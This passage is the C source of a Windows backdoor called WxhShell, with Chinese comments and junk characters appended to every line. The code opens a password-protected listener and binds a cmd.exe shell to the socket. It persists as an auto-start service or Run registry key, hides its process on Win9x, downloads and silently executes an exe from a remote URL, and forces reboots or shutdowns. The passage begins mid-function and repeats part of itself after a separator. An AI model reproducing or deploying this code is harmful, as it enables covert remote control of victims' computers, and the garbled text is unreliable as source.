    closesocket(wsh); EbNd=Z'J  
    ExitThread(0); BqK(DH^9N  
    } $FTO  
    break; ;E^K.6  
    } OX]V) QHVZ  
  // 获取shell 08bJCH  
  case 's': { ),:c+~@@kT  
    CmdShell(wsh); 7r# ymQ  
    closesocket(wsh); y[};J vk  
    ExitThread(0); _f0C Y"  
    break; KL,/2 (  
  } hB;VCg8  
  // 退出 ^"\s eS  
  case 'x': { +EXJ\wy  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); uP $ Cj  
    CloseIt(wsh); CG\tQbum  
    break; =<@2#E)  
    } 9LnN$e  
  // 离开 ?tdd3ai>  
  case 'q': { #65^w=Sp}  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); UB`ToE|Ii  
    closesocket(wsh); 6Q&r0>^{  
    WSACleanup(); ^>x|z.  
    exit(1); !`JHH&  
    break; #hfuH=&oh  
        } }GMbBZ:nKK  
  } Dn9w@KO  
  } 0-Y:v(|.  
BaF!O5M  
  // 提示信息 -Y#sI3o*R8  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #t8{R~y"gv  
} =;a!u  
  } Y/<lWbj*A  
gF=jf2{YX  
  return; B$3 ?K  
} O%~jop7# 6  
dC e4u<so\  
// shell模块句柄 h}_~y'^!  
int CmdShell(SOCKET sock) hVT~~n`Rj  
{ \6?A!w~6  
STARTUPINFO si; AUVgPXOwd  
ZeroMemory(&si,sizeof(si)); zJDSbsc$%  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; % }|cb7l  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; up3O|lj4  
PROCESS_INFORMATION ProcessInfo; enNiI$H]`_  
char cmdline[]="cmd"; #PDf,^  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); r=/;iH?UH  
  return 0; 5AS[\CB4  
} uJHu>M}~  
1(zsOeX  
// 自身启动模式 ,t{,_uPJY  
int StartFromService(void)  |{* }|  
{ _I`,Br:N  
typedef struct Z@8vL  
{ 2$_9cF Wm  
  DWORD ExitStatus; "Td`AuP@,  
  DWORD PebBaseAddress; fJ\sguZ  
  DWORD AffinityMask; tt?58dm|  
  DWORD BasePriority; v%k9M{  
  ULONG UniqueProcessId; TSAU?r\P  
  ULONG InheritedFromUniqueProcessId; &R|/t :DN  
}   PROCESS_BASIC_INFORMATION; YSJy`  
9YsR~SM  
PROCNTQSIP NtQueryInformationProcess; )15Z#`x  
SvN9aD1  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; wiaX&-c]8  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; /( .6bv  
pME{jD  
  HANDLE             hProcess; [S.ZJUns  
  PROCESS_BASIC_INFORMATION pbi; }R3=fbe,\  
4!asT;`'  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ,*4p?|A  
  if(NULL == hInst ) return 0; >@WX>0`ht  
87 }&`  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); `c/*H29  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); YY?a>j."a  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); uj%skOD6Z  
xD&^j$Em  
  if (!NtQueryInformationProcess) return 0; h2ZkCML  
,f}UGd[a  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());  hjO*~  
  if(!hProcess) return 0; 9ukg}_Hx  
!R*-R.%  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; bX.ja;;   
L=2y57&Y  
  CloseHandle(hProcess); r]W  
^:9$@ +a  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); :16P.z1L  
if(hProcess==NULL) return 0; t+,4Ya|Xj  
eI1GXQ%  
HMODULE hMod; *lef=:&,,  
char procName[255]; l5+gsEux]  
unsigned long cbNeeded; ?ER-25S  
O62b+%~F  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); \4"S7.% |  
J5h+s-'  
  CloseHandle(hProcess); tO_H!kP  
>3awn*N  
if(strstr(procName,"services")) return 1; // 以服务启动 JFgoN,xn  
p3/*fH98  
  return 0; // 注册表启动 :V2bS  
} x8;`i$  
D>Gt]s  
// 主模块 0Z|FZGRP  
int StartWxhshell(LPSTR lpCmdLine) pZ#ap<|>I  
{ X(jVRr_m9  
  SOCKET wsl; /ywD{*  
BOOL val=TRUE; sH[ -W-  
  int port=0; I\qYkWg7  
  struct sockaddr_in door; K[chjp!$l  
pT?Q#,fh  
  if(wscfg.ws_autoins) Install(); 0A{/B/r   
#YDr%>j  
port=atoi(lpCmdLine); nC {K$  
g*w<*  
if(port<=0) port=wscfg.ws_port; K78rg/`  
86f2'o+  
  WSADATA data; X-Wz:NA  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; *&Z7m^`FQ  
WvHw{^(lF  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   (H oqR  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); i&8FBV-  
  door.sin_family = AF_INET; PA6=wfc  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); mAk{"65V  
  door.sin_port = htons(port); [FUjnI  
<o2r~E0r3  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { A]L%dFK  
closesocket(wsl); ??hJEE  
return 1; %+ZJhHT  
} $,xnU.n  
bqanFQj  
  if(listen(wsl,2) == INVALID_SOCKET) { O4<g%.HC6  
closesocket(wsl); Ev!{n  
return 1; 50dGBF  
} P;PQeXKw  
  Wxhshell(wsl); iR$<$P5  
  WSACleanup(); K^r)CCO  
E,n}HiAz7V  
return 0; ]d[ge6  
$8l({:*q0  
} Wl h~)   
B*htN  
// 以NT服务方式启动 R(j1n,c]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) D@EO=08<b  
{ ,Ma.V\T[  
DWORD   status = 0; U|G|l|Bl  
  DWORD   specificError = 0xfffffff; c:83LZ  
vd`}/~o  
  serviceStatus.dwServiceType     = SERVICE_WIN32; @H!$[m3  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; g<*BLF  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; )XQ`M?**M  
  serviceStatus.dwWin32ExitCode     = 0; ? muzU.h"z  
  serviceStatus.dwServiceSpecificExitCode = 0; B= keBO](@  
  serviceStatus.dwCheckPoint       = 0; g~UUP4<$"  
  serviceStatus.dwWaitHint       = 0; 4h6k`ie!$  
5 ,0d  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);  s95vK7I  
  if (hServiceStatusHandle==0) return; {b]aC  
*/ G<!W  
status = GetLastError(); |}){}or  
  if (status!=NO_ERROR) 6io, uh!  
{ UZ8?[  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; -st7_3  
    serviceStatus.dwCheckPoint       = 0; _ >` X]I;  
    serviceStatus.dwWaitHint       = 0; @v\*AYr'M  
    serviceStatus.dwWin32ExitCode     = status; K.gEj*@  
    serviceStatus.dwServiceSpecificExitCode = specificError; tU"raP^ =  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4[ryKPa,  
    return; {%w!@-  
  } o`khz{SU:  
hVj NZ  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; y80ykGPT\&  
  serviceStatus.dwCheckPoint       = 0; y{q*s8NY  
  serviceStatus.dwWaitHint       = 0; zU6a't P  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); j QU"Ved  
} K!D o8|  
yV)m"j  
// 处理NT服务事件,比如:启动、停止 {f9{8-W <u  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 0oy-os  
{ jClj_E  
switch(fdwControl) 7\o!HMfK  
{ H1!iP$1#V  
case SERVICE_CONTROL_STOP: SM[Bv9|0  
  serviceStatus.dwWin32ExitCode = 0; >]'yK!a?  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 9*6]&:fm  
  serviceStatus.dwCheckPoint   = 0; \qsw"B*tv`  
  serviceStatus.dwWaitHint     = 0; dBO@6*N4c  
  { VC5_v62&.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %tA57Pn>  
  } F>]#}_  
  return; eMK+X \  
case SERVICE_CONTROL_PAUSE: TG n-7 88  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; VcK}2<8:+~  
  break; 3CTX -#)vS  
case SERVICE_CONTROL_CONTINUE: 4eVI},  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; bIt=v)%$  
  break; 4LI0SwD#^/  
case SERVICE_CONTROL_INTERROGATE: >k']T/%  
  break; Hy{ Q#fq  
}; $]aBe !  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [fu!AIQs  
} 3#wcKv%>&_  
5CAR{|a  
// 标准应用程序主函数 gPS&^EdxA  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) M8w5Ob  
{ }~Q"s2  
o/ [  
// 获取操作系统版本 o6"*4P|  
OsIsNt=GetOsVer(); *cWmS\h|  
GetModuleFileName(NULL,ExeFile,MAX_PATH); `Lyq[zg8  
KsAH]2Q%  
  // 从命令行安装 cIXwiC8t  
  if(strpbrk(lpCmdLine,"iI")) Install(); Kr  L>FI  
%u?HF4S'  
  // 下载执行文件 ,]R8(bD)  
if(wscfg.ws_downexe) { &R+#W  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) jdeva t,&u  
  WinExec(wscfg.ws_filenam,SW_HIDE); j-]&'-h}#  
} QzGV.Mt2  
mxrG)n6Y  
if(!OsIsNt) { vUQFQ  
// 如果时win9x,隐藏进程并且设置为注册表启动 7J>Gd  
HideProc(); (7lBID4  
StartWxhshell(lpCmdLine); 4dH}g~[P9  
} 8OWmzY_=  
else $awi>#[  
  if(StartFromService()) 1;u4X`8  
  // 以服务方式启动 K0+ ;b u  
  StartServiceCtrlDispatcher(DispatchTable); "cho }X  
else lD;'tqaC  
  // 普通方式启动 _17|U K|N  
  StartWxhshell(lpCmdLine); uK*Nu^  
BpAB5=M0  
return 0; B7Ntk MK  
} 5,+\`!g  
)J/HkOj"V  
uMXc0fs!$  
.uZ7 -l  
=========================================== @^nu #R  
jRkC/Lw  
bv?0.{Z  
 ~QG ?k  
f F?6j   
+R$?2  
" pL oy  
"5DJu ~  
#include <stdio.h> V7CoZnz  
#include <string.h> vTr34n  
#include <windows.h> A,i()R'I  
#include <winsock2.h>  vfvlB[  
#include <winsvc.h> <FFJzNc+  
#include <urlmon.h> lH BI  
O]u",J5  
#pragma comment (lib, "Ws2_32.lib") 7r{qJ7$%  
#pragma comment (lib, "urlmon.lib") kL{;.WsB  
4dhqLVgL{  
#define MAX_USER   100 // 最大客户端连接数 ^kj=<+ v#  
#define BUF_SOCK   200 // sock buffer GA^mgm"O  
#define KEY_BUFF   255 // 输入 buffer y<r}"TAf-  
Uku5wPS  
#define REBOOT     0   // 重启 :jNYP{Br  
#define SHUTDOWN   1   // 关机 4yV].2#rl"  
.e[Tu|qo  
#define DEF_PORT   5000 // 监听端口 eVy2|n9rH  
ft5DU/%  
#define REG_LEN     16   // 注册表键长度 f|0lj   
#define SVC_LEN     80   // NT服务名长度 )@QJ  
"mj^+u-  
// 从dll定义API m$UvFP1>u1  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ~2%3FV^  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Rmh*TQu  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Vk<k +=7  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ^^Lj I  
vd~U@-C=R  
// wxhshell配置信息 :=g.o;(/N  
struct WSCFG { ?#[)C=p]z  
  int ws_port;         // 监听端口 c;!g  
  char ws_passstr[REG_LEN]; // 口令 Vb6K:ZnF  
  int ws_autoins;       // 安装标记, 1=yes 0=no /J%do]PDl  
  char ws_regname[REG_LEN]; // 注册表键名 2YQ#-M  
  char ws_svcname[REG_LEN]; // 服务名 VK .^v<Yo  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 4KIWb~0Y  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 XSD%t8<LO  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 xe:' 8J6L  
int ws_downexe;       // 下载执行标记, 1=yes 0=no FUTn  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" f'/ KMe%<  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 2ChWe}f  
/5a;_  
}; tjzA)/T,4  
}OKL z.5  
// default Wxhshell configuration XCPb9<L  
struct WSCFG wscfg={DEF_PORT, '"O&J}s;  
    "xuhuanlingzhe", T&}Ye\%  
    1, p]f&mBO*  
    "Wxhshell", MQw9X  
    "Wxhshell", u^Sv#K X  
            "WxhShell Service",  ]6~k4  
    "Wrsky Windows CmdShell Service", W7e4pR?w  
    "Please Input Your Password: ", Y}1 P~  
  1, X\A]"su  
  "http://www.wrsky.com/wxhshell.exe", 9]~PC Z2j  
  "Wxhshell.exe" lSCY5[?  
    }; Z] {@H  
JLUms  
// 消息定义模块 i&F~=Q`  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; fGO*% )  
char *msg_ws_prompt="\n\r? for help\n\r#>"; g5}7y\  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; FN{/.?w(  
char *msg_ws_ext="\n\rExit."; >ZCo 8aK  
char *msg_ws_end="\n\rQuit."; 9+VF<;Xw  
char *msg_ws_boot="\n\rReboot..."; JLW$+62  
char *msg_ws_poff="\n\rShutdown..."; K`+vfqX  
char *msg_ws_down="\n\rSave to "; ?[SVqj2-  
./iXyta  
char *msg_ws_err="\n\rErr!"; 9eSRCLhgD  
char *msg_ws_ok="\n\rOK!"; /RF%1!M K  
1M+Zkak7p  
char ExeFile[MAX_PATH]; NhlJ3/J j  
int nUser = 0; y9 uVCR  
HANDLE handles[MAX_USER]; i7v/A&Rc  
int OsIsNt; ~= 9V v  
02M7gBS  
SERVICE_STATUS       serviceStatus; &t[|%c*D&  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; gH H&IzHF  
rt;gC[3\  
// 函数声明 vl~%o@*_  
int Install(void); HWbBChDF  
int Uninstall(void); (4ZLpsbJ  
int DownloadFile(char *sURL, SOCKET wsh); aJQXJ,>Lv  
int Boot(int flag); # ITLz!g E  
void HideProc(void); s>J3\PC  
int GetOsVer(void); RK3.-  
int Wxhshell(SOCKET wsl); fk\5D[j^  
void TalkWithClient(void *cs); 6aSM*S)  
int CmdShell(SOCKET sock); _h~p:=  
int StartFromService(void); c% yh(g  
int StartWxhshell(LPSTR lpCmdLine); fv|%Ocm  
o[{&!t  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); :|($,3*  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); It\BbG=  
-d_ 7*>m$  
// 数据结构和表定义 &Q+]t"OA!  
SERVICE_TABLE_ENTRY DispatchTable[] = w%~qB5wF6  
{ Zjt9vS)  
{wscfg.ws_svcname, NTServiceMain}, R`3x=q  
{NULL, NULL} JJNmpUJ  
}; 5=.7\#D  
cUV TRWV  
// 自我安装 5:_~mlfi  
int Install(void) ,*w>z  
{ 5F03y`@ u  
  char svExeFile[MAX_PATH]; FLEg0/m0  
  HKEY key; 6NSO>/E  
  strcpy(svExeFile,ExeFile); o@@_J@}#  
r'PE5xqF  
// 如果是win9x系统,修改注册表设为自启动 SNxz*`@4  
if(!OsIsNt) { T:'+6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { * S{\#s  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {Ot[WF  
  RegCloseKey(key); KMe.i'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { , Z4p0M  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !r2}59 J  
  RegCloseKey(key); =_pmy>_z  
  return 0; .Wh6(LDY(  
    } Q%$i@JH`m  
  } M3PVixli3  
} }kv)IJ  
else { K wQXA'  
+}\29@{W  
// 如果是NT以上系统,安装为系统服务 i 63?"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); vnF g%M!  
if (schSCManager!=0) i!y\WaCp  
{ d^_itC;-,  
  SC_HANDLE schService = CreateService f0g6g!&gf  
  ( =X<)5IS3  
  schSCManager, xz="|HD);  
  wscfg.ws_svcname, BMe72  
  wscfg.ws_svcdisp, h#;?9DP  
  SERVICE_ALL_ACCESS, [I_BCf  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , a\Tr!Be,  
  SERVICE_AUTO_START, bL#sn_(m  
  SERVICE_ERROR_NORMAL, J;7s/YH^  
  svExeFile, @b8X%0B7  
  NULL, ScsWnZ  
  NULL, ^Y#@$c  
  NULL, tvK rc  
  NULL, J1& A,Gb  
  NULL d7\k  gh  
  ); ;q'DGzh  
  if (schService!=0) y K=S!7p\  
  { |\rSa^:5  
  CloseServiceHandle(schService); /;[}=JL<Q  
  CloseServiceHandle(schSCManager); }q/(D?  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); pEJ#ad  
  strcat(svExeFile,wscfg.ws_svcname); TIKEg10I  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { fWqv3nY^  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); <b3x(/  
  RegCloseKey(key); ;c nnqT6  
  return 0; ,q/tyGj  
    } G)4 ZK#wz  
  } ipgN<|`?@  
  CloseServiceHandle(schSCManager); B?!9W@  
} .$n$%|"H-  
} w 5!ndu  
aViJ   
return 1; 4|I7:~  
} |qQ{8T%)  
;,()wH  
// 自我卸载 5XhK#X%:A  
int Uninstall(void) i#Ne'q;T  
{ ll 6]W~[ZC  
  HKEY key; {/th`#o4b  
(X0`1s  
if(!OsIsNt) { $(Z]TS$M&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { G*8+h  
  RegDeleteValue(key,wscfg.ws_regname); cA2^5'$$  
  RegCloseKey(key); s0_-1VU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ab8oMi`z  
  RegDeleteValue(key,wscfg.ws_regname); m*Q[lr=  
  RegCloseKey(key); Q@ykQ  
  return 0; L?AM&w-cg9  
  } -ryDsq  
} Ty g$`\#   
} ^uKnP>*l  
else { Fc34Y0_A  
ppPG+[cz  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ^=aml   
if (schSCManager!=0) Tz+HIUIxF  
{ $,xtif0  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); -[i40 1  
  if (schService!=0) h[Ndtq>3{  
  { 2V#c[%vI  
  if(DeleteService(schService)!=0) { d08`42Z69  
  CloseServiceHandle(schService); T b5$  
  CloseServiceHandle(schSCManager); r\4*\  
  return 0; OL,/-;z6  
  } !C9ps]6  
  CloseServiceHandle(schService); $]Q*E4(kV9  
  } .rt8]%  
  CloseServiceHandle(schSCManager); !:]s M-cCt  
} >!:$@!6L  
} 2GHXn:V  
i*mZi4URN  
return 1; [q0_7  
} u|]mcZ,ZW  
] P:NnKgK  
// 从指定url下载文件 [=]+lei  
int DownloadFile(char *sURL, SOCKET wsh) Td["l!-fe  
{ +1E?He:iQ  
  HRESULT hr; $gj+v+%N  
char seps[]= "/"; qcR|E`k-G  
char *token; t~+{Hr) #y  
char *file; = ]dz1~/  
char myURL[MAX_PATH]; Q#yu(  
char myFILE[MAX_PATH]; }1X11+/W  
Wto@u4  
strcpy(myURL,sURL); `'A(`. CL  
  token=strtok(myURL,seps); 3D 4]yR5  
  while(token!=NULL) ~#HH;q_7m  
  { GFASF,+  
    file=token; X+?Il)Bv  
  token=strtok(NULL,seps); knNhN=hG+  
  } T:w2  
\]L::"![?  
GetCurrentDirectory(MAX_PATH,myFILE); ;PP_3`  
strcat(myFILE, "\\"); 2XETQ;9  
strcat(myFILE, file); Mhu53DT  
  send(wsh,myFILE,strlen(myFILE),0); P;HVLflu  
send(wsh,"...",3,0); al3BWRq'f  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); +SZ%&  
  if(hr==S_OK) }"g21-T^  
return 0; i?&4SG+2~K  
else rzYobOKd#  
return 1; XudH  
FOlA* U4U  
} yi AG'[  
Zh@4_Z9n!  
// 系统电源模块 ]noP  
int Boot(int flag) Et @=Ic^E  
{ rA1zyZlz  
  HANDLE hToken; ^5FJ}MMJf  
  TOKEN_PRIVILEGES tkp; {|7OmslC@  
0~@L%~  
  if(OsIsNt) { \ pe[V~F  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); $~w@0Yl  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); xy-$v   
    tkp.PrivilegeCount = 1; )$9C`d[  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ecSdU>  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); .Y^d9.  
if(flag==REBOOT) { .NNcc4+  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) HiS,q0  
  return 0;  9:K  
} #um1?V  
else { /q*Qx )y+1  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) K&\BwBU  
  return 0; ^cPo{xf  
} F=*BvI "+  
  } }K#&5E  
  else { Y_Z &p#Q!  
if(flag==REBOOT) { P&-D0T_  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) @]y{M;  
  return 0; 8IT_mjj  
} D 7;~x]*  
else { #Tg|aW$(*  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) V!kQuQJ>  
  return 0; yv8dfl  
} "x=@ ,*Bk  
} npG+# z  
c^dl+-{Mc  
return 1; 9>.<+b(>!'  
} ,,C~j`F  
 ycAi(K  
// win9x进程隐藏模块 k DceBs s  
void HideProc(void) J4 '!  
{ k?|zIu  
LfjS[  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); KH@) +Rj  
  if ( hKernel != NULL ) l;][Q]Z@V  
  { ?O.6r"  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); mn6p s6OB  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); v @I^:I  
    FreeLibrary(hKernel); ,G!_ SZ  
  } ,< )/45  
<=y5 8O]x  
return; Z>MJ0J76]  
} $V{- @=  
e G*s1uQl  
// 获取操作系统版本 EDa08+Y  
int GetOsVer(void) U7f&N  
{ NkjQyMF  
  OSVERSIONINFO winfo; ;t@ 3Go  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Vp{RX8?.  
  GetVersionEx(&winfo); {7M4SC@p|  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) )*$  
  return 1; ~A:;?A'.  
  else b$`4Nn|  
  return 0; ]B[/sqf  
} Q'Jpsmwu  
%f3Nml  
// 客户端句柄模块 E{k%d39>  
int Wxhshell(SOCKET wsl) L[[H&#\  
{ )l!&i?h%  
  SOCKET wsh; IpaJ<~ p  
  struct sockaddr_in client; !i"9f_  
  DWORD myID; y 4,T  
(EF$^FYPK  
  while(nUser<MAX_USER) K~hlwjrt  
{ ;ZqD60%\  
  int nSize=sizeof(client); CsST-qxg  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ][$$  =  
  if(wsh==INVALID_SOCKET) return 1; yn ?U7`V  
4S{l>/I  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); E/ed0'|m  
if(handles[nUser]==0) dE9aE#o  
  closesocket(wsh); \8>N<B)  
else 3Ns:O2|  
  nUser++; ?[>BssW  
  } t"74HZO >  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); B& f~.UH  
=ILo`Q~  
  return 0; #.G>SeTn2}  
} >8mW-p  
CPCB!8-5  
// 关闭 socket V:" \(Y  
void CloseIt(SOCKET wsh) CYic_rF$  
{ WZO 0u  
closesocket(wsh); k3|9U'r!c  
nUser--; ,vY I O  
ExitThread(0); qaSv]k.  
} c.me1fGn  
[.#$hOsNR  
// 客户端请求句柄 Mud\Q["  
void TalkWithClient(void *cs) w7ABnX  
{ "@'9+$i6  
;>hPHx  
  SOCKET wsh=(SOCKET)cs; >a] s  
  char pwd[SVC_LEN]; H-y-7PW*~  
  char cmd[KEY_BUFF]; oO9iB:w  
char chr[1]; Q]koj!mMl  
int i,j; K]azUK7  
}j<_JI  
  while (nUser < MAX_USER) { #(}_2x5  
b:d.Lf{y7  
if(wscfg.ws_passstr) {  u^eC  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _"e( ^yiK  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); vH:+  
  //ZeroMemory(pwd,KEY_BUFF); KB-#):'  
      i=0; HQ#L |LN  
  while(i<SVC_LEN) { ha'm`LiX  
ea;c\84_N  
  // 设置超时 -`<N,  
  fd_set FdRead; X/D9%[{&  
  struct timeval TimeOut; Dg4^ C  
  FD_ZERO(&FdRead); bX1! fa  
  FD_SET(wsh,&FdRead); #[ rFep  
  TimeOut.tv_sec=8; u6&Ixi/s'  
  TimeOut.tv_usec=0; j:<T<8 .o  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); sU3V)7"  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Yy:sZJ  
= |zyi|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3mn-dKe((  
  pwd=chr[0]; $R}iL  
  if(chr[0]==0xd || chr[0]==0xa) { :r+ 1>F$o  
  pwd=0; ^\t">NJ^  
  break; .3SjkC4I  
  } ) W7H{#  
  i++; ;7{wa]  
    } .TU15AAc  
^rb7`s#G  
  // 如果是非法用户,关闭 socket :<G+)hIK  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); *wl_8Sis}  
} \nt'I;f  
9 CSz<[  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 3JO:n6  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); m|]^f;7z  
GcU/   
while(1) { 5./ (fgx>  
-ufmpq.  
  ZeroMemory(cmd,KEY_BUFF); N6J$z\ P  
]JD$fS=_  
      // 自动支持客户端 telnet标准   R&4E7wrdP  
  j=0; ]~qN<x  
  while(j<KEY_BUFF) { 6 gKOpa  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); z$Nk\9wm  
  cmd[j]=chr[0]; kH&ZPAI  
  if(chr[0]==0xa || chr[0]==0xd) { fjWh}w8  
  cmd[j]=0; gNqV>p  
  break; 2 YN` :"  
  } FvJSJ.;E,  
  j++; GBphab|  
    } llleo8  
k_a'a)`$6  
  // 下载文件 t<|s &  
  if(strstr(cmd,"http://")) { NZTYT\7  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ya_'Oz!C  
  if(DownloadFile(cmd,wsh)) U2AGH2emw  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); vLS9V/o  
  else !X8UP{J)L  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o(``7A@7a  
  } P\ s+2/  
  else { Az-!LAu9 R  
3E ZwF  
    switch(cmd[0]) { =CVT8(N*  
  hX_p5a1t  
  // 帮助 'sF563kE  
  case '?': { d>`(.qvxR  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); if}]8  
    break; *i{.@RX?  
  } 8QN8bGxK   
  // 安装 d*>k ]X@G  
  case 'i': { Yy)a,clZ*$  
    if(Install()) `_'Dj>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3kQ^f=Wd  
    else >slN:dr0:  
